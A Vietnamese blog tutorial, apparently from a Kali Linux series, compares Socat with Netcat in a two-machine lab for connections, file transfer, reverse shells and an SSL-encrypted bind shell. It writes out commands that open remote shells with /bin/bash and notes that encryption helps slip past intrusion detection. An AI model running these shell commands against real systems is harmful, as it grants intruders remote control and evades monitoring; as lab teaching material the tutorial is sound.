NỘI DUNG
Tiếp theo nội dung Phần 9: Bước chân vào con đường Penetration Testing với “mèo mạng” Netcat, kỳ này tôi sẽ giới thiệu tiếp một “phiên bản nâng cấp” của Netcat là Socat.
Tôi gọi “phiên bản nâng cấp” cho dễ hình dung chứ 2 thằng này thực chất cũng chẳng có quan hệ máu mủ mịa gì. Socat (hay Socket CAT) là command-line utility, cũng hỗ trợ nhiều thứ cho penetration testing giống như Netcat. Ngoài ra, con Socat này được buff nhiều chiêu đẳng cấp hơn nhờ hỗ trợ nhiều loại channel (files, pipes, devices, sockets,…) hay multiple connections.
Tuy nhiên, trong kỳ này, mục tiêu của tôi không phải để giới thiệu các tính năng cao cấp của Socat mà là tập trung so sánh công cụ này với Netcat trong một số tác vụ cơ bản đã giới thiệu ở kỳ trước. Việc này nhằm tạo nền tảng cho các nhu cầu nâng cao về sau để bạn không phải “ngỡ cmn ngàng” khi lâm vào thế bắt buộc phải dùng Socat. Do vậy, để tiện theo dõi, tôi sẽ nhắc lại các command tương ứng của Netcat khi trình bày các nội dung với Socat (đoạn nào không rõ thì bạn chịu khó tua lại kỳ trước để xem cho kỹ).
Cũng giống kỳ trước, tôi cũng cần dàn cảnh để phục vụ quá trình demo. Do việc cài đặt Socat lên Windows hơi rườm rà nên tôi sẽ dùng luôn 2 con Kali Linux với địa chỉ IP như sau cho nhanh gọn (tất nhiên bạn cũng sẽ cần ping kiểm tra kết nối các kiểu sau khi thiết lập):
- Kali Linux #1:192.168.188.130 (con Kali #1 tôi sẽ dùng testkali user);
- Kali Linux #2:192.168.188.132 (con Kali #2 tôi sẽ chuyển sang root user cho tiện theo dõi).
#1 Kết nối đến remote host
#1.1 Khởi tạo listener trên port của remote host – Kali Linux #2
Với Netcat bạn có thể dùng command:
nc -nlvp 443
Với Socat, bạn có thể dùng command:
socat -d -d TCP4-LISTEN:443 STDOUT
Ở đây bạn sẽ thấy xuất hiện thêm mớ thông tin sau:
- Protocol cho listener ở ví dụ trên là TCP-LISTEN;
- STDOUT là standard output;
- Để bind listener đến các port dưới 1024 sẽ cần đến quyền root (hoặc chạy sudo);
- option “-d -d” để tăng thêm độ chi tiết của các thông báo và lỗi (nếu có);
- Phần thông báo trong ô đỏ xuất hiện khi bạn tạo kết nối đến.
# 1.2 Kết nối đến remote host từ Kali Linux #1
Với Netcat bạn có thể dùng command:
nc -nv 192.168.188.132 443
Với Socat, bạn có thể dùng command:
socat -d -d - TCP4:192.168.188.132:443
Trong cú pháp của Socat, bạn sẽ thấy xuất hiện thêm các thứ:
- Dấu “-” xác định việc truyền dữ liệu giữa STDIO và remote host;
- Xác định rõ protocol sử dụng, với ví dụ trên là TCP4;
- Sử dụng dấu “:” để ngăn cách protcol, option, port;
#2 Truyền tải file
Trong ví dụ này, tôi sẽ truyền một file tối mật có tên là secret.txt từ con Kali Linux #1 đến con Kali Linux #2 nói ở phần đầu.
Bên phía gửi hàng – Kali Linux #1, với Netcat bạn có thể dùng command:
nc -nv 192.168.188.132 443 < secret.txt
(lưu ý, với Netcat bạn phải chạy Listener bên phía nhận – Kali Linux #2 trước)
Với Socat, bạn có thể dùng command:
socat TCP-LISTEN:443,fork file:secret.txt
Lưu ý:
- Ở đây bạn sẽ thấy xuất hiện một đối tượng mới là fork với chức năng tạo một child process (tạm dịch là tiến trình con) một khi có kết nối đến listener. Việc này sẽ cho phép bạn chạy multiple connections khi cần;
- “file:” sẽ chỉ định file được lưu trên máy Kali Linux #1
Bên phía máy nhận Kali Linux #2, để nhận hàng với Netcat bạn có thể dùng command:
nc -nlvp 443 > received_secret.txt
Với Socat, bạn có thể dùng command:
socat TCP4:192.168.188.130:443 file:received_secret.txt,create
Lưu ý:
- Địa chỉ ip ở trên là của bên gửi (tương ứng con Kali Linux #1);
- Chỗ này bạn sẽ thấy có xuất hiện thêm “create” để chỉ định tạo file mới;
#3 Reverse Shells và Encrypted Bind Shells với Socat
#3.1 Reverse Shells
Trên máy Kali Linux #2, với Netcat bạn có thể dùng command:
nc -nlvp 443
Với Socat, bạn có thể dùng command:
socat -d -d TCP4-LISTEN:443 STDOUT
Như bạn thấy, sau khi kết nối thành công, tôi có thể đọc thư mục bên phía Kali Linux #1.
Trên máy Kali Linux #1, với Netcat bạn có thể dùng command:
nc -nv 192.168.188.132 443 -e /bin/bash
Với Socat, bạn có thể dùng command:
socat TCP4:192.168.188.132:443 EXEC:/bin/bash
Với Socat option EXEC sẽ tương ứng với -e của Netcat nhằm chạy chương trình khi có kết nối đến.
#3.2 Encrypted Bind Shells
Để mã hóa Bind Shell với Socat, bạn có thể sử dụng SSL/TLS. Việc mã hóa này sẽ giúp né đạn của Intrusion Detection System – IDS cũng như ẩn đi các dữ liệu nhạy cảm. Để minh họa triển khai cụ thể, tôi sẽ dùng ứng dụng openssl để tạo self-signed certificate (tức là tôi tự tạo tự ký Certificate, không cần CA giống như với HTTPS) với command sau trên Kali Linux #1:
openssl req -newkey rsa:2048 -nodes -keyout b-shell.key -x509 -days 69 -out b-shell.crt
Trong cái đám rừng ở trên thì:
- req: khởi tạo certificate signing request mới
- -newkey: tạo private key mới
- rsa:2048: sử dụng asymmetric encryption RSA độ dài key 2,048-bit (tôi có đề cập RSA ở …)
- -nodes: lưu private key không có passphrase protection
- -keyout: lưu key ra file
- -x509: xuất self-signed certificate thay vì certificate request
- -days: thiết lập hạn sử dụng theo ngày
- -out: lưu certificate ra file
Lưu ý:
- Vấn đề SSL/TLS tôi có đề cập ở nội dung Giải ngố WWW – Phần 3: HTTPS có gì ngon hơn HTTP;
- Vấn đề Certitificate và CA tôi có đề cập ở nội dung Giải ngố WWW – Phần 4: 3 điều tối quan trọng về việc tạo và sử dụng Certificate trong quá trình truy cập HTTPS Website;
- Vấn đề Asymmetric Encryption RSA tôi có đề cập ở nội dung Giải ngố Cryptography – Phần 4: Rivest–Shamir–Adleman (RSA), Diffie-Hellman (DH) và ứng dụng trong cấu hình OpenVPN;
Command trên sẽ tạo cái private key b-shell.key và certificate b-shell.crt dùng cho việc mã hóa Bind Shell. Quá trình khởi tạo nó sẽ hỏi thêm một số thông tin, bạn có thể điền đại khái như sau (tôi có giải thích kỹ hơn trong nội dung Hướng dẫn tạo VPN Server miễn phí từ A đến Z – Phần 4: Tạo Private Key và ký Certificate cho VPN Server, VPN Client và cấu hình OpenVPN Server).
Sau khi hàng họ (b-shell.key và b-shell.crt) đã sẵn sàng, việc tiếp theo bạn cần làm là kết hợp 2 file này thành 1 file pem để có thể tạo Socat listener mã hóa. Bạn triển việc này với command sau:
cat b-shell.key b-shell.crt > b-shell.pem
Kế tiếp là bước tạo listener với command:
sudo socat OPENSSL-LISTEN:443,cert=b-shell.pem,verify=0,fork EXEC:/bin/bash
Trong commmand trên có một số điểm cần lưu ý:
- option OPENSSL-LISTEN:443 để tạo listener trên port 443;
- cert=b-shell.pem sẽ chỉ định certificate tương ứng là b-shell.pem;
- verify=0 sẽ tắt SSL verification;
Coi như đã xong việc bố trí, lúc này bạn có thể kiểm tra trên máy Kali Linux #2 bằng cách chạy command:
socat - OPENSSL:192.168.188.130:443,verify=0
Tương tự như trước đó, tôi kiểm tra lại với “ls -l” để xác nhận đang truy cập máy Kali Linux #1.
Thật ra ở đây tôi chưa đề cập đến một thứ đó là mã hóa với Netcat. Tuy nhiên kỳ này tôi đang tập trung vào nhân vật chính Socat nên xin khất lại sau (có thể tôi sẽ cập nhật lại nội dung cho phần Netcat trong kỳ trước).
Chốt hạ:
Với phần lớn nội dung ở trên, bạn sẽ thấy thằng Socat cứ thích “phức tạp hóa vấn đề” khi đẻ ra cả đống thông số lằng nhằng. Tuy nhiên, việc này là để tăng độ linh hoạt nhằm hỗ trợ cho các nhu cầu nâng cao như tôi nói ở đầu bài. Và để chốt lại vấn đề, tôi xin trích lại “lời vàng ý ngọc” mà tôi đọc được của một đại hiệp trên mạng để bạn tham khảo: “Nếu nhu cầu của bạn chỉ cần Netcat thì cứ dùng Netcat. Nếu Netcat không làm được thì hãy mò sang thử với Socat. Gượng ép dùng giải pháp phức tạp (như Socat) để xử lý việc đơn giản (mà Netcat có thể giải quyết) sẽ không thể hiện được điều gì ngoại trừ việc cho thấy não của bạn có vấn đề ?!”.
1 thought on “Giải ngố Kali Linux – Phần 10: Nâng cấp các chiêu thức của Netcat với Socat”